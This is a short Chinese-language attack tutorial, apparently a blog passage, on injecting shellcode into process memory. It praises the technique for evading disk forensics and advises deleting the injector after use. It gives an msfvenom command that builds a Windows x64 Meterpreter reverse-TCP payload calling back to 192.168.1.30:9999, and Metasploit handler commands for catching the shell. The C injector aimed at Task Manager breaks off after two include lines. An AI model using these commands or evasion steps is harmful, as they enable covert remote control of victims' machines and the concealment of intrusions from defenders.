内存注入ShellCode的优势就在于被发现的概率极低，甚至可以被忽略，这是因为ShellCode被注入到进程内存中时，其并没有与之对应的硬盘文件，从而难以在磁盘中取证，但也存在一个弊端由于内存是易失性存储器，所以系统必须一直开机，不能关闭，该攻击手法可以应用于服务器上面，安全风险最小，注入后将注入器删除即可。

1.生成64位ShellCode代码命令

[root@localhost ~]# msfvenom -a x64 --platform Windows \
-p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

2.开启侦听器。

[root@localhost ~]# msfconsole 
[-] ***rting the Metasploit Framework console.../
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit

2.编译并运行这段代码，将ShellCode注入到系统的任务管理器上，最后别忘了删除注入器，不然被发现打断腿。

#include <stdio.h>
#include <windows.h>
